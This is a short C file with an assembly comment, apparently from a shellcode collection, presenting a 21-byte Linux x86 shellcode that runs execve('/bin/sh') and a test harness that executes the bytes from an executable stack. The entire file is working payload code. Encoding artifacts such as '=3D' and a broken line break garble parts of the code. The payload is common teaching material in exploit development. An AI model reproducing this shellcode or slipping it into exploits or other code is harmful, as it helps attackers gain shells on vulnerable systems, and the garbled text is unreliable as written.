/* # # Execve /bin/sh Shellcode Via Push (Linux x86 21 bytes) # # Dying to be the shortest. # # Copyright (C) 2015 Gu Zhengxiong (rectigu@gmail.com) # # 18 February 2015 # # GPL # .global _start _start: # char *const argv[] xorl %ecx, %ecx # 2 bytes, and both %eax and %edx were zeroed mull %ecx # __NR_execve 11 movb $11, %al # for '\x00' pushl %ecx # 'h' 's' '/' '/' pushl $0x68732f2f # 'n' 'i' 'b' '/' pushl $0x6e69622f # const char *filename movl %esp, %ebx int $0x80 */ /* gcc -z execstack -m32 push.c uname -r 3.19.3-3-ARCH */ #include #include int main(void) { char *shellcode =3D "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68= \x2f\x62\x69\x6e\x89\xe3\xcd\x80"; printf("strlen(shellcode)=3D%d\n", strlen(shellcode)); ((void (*)(void))shellcode)(); return 0; }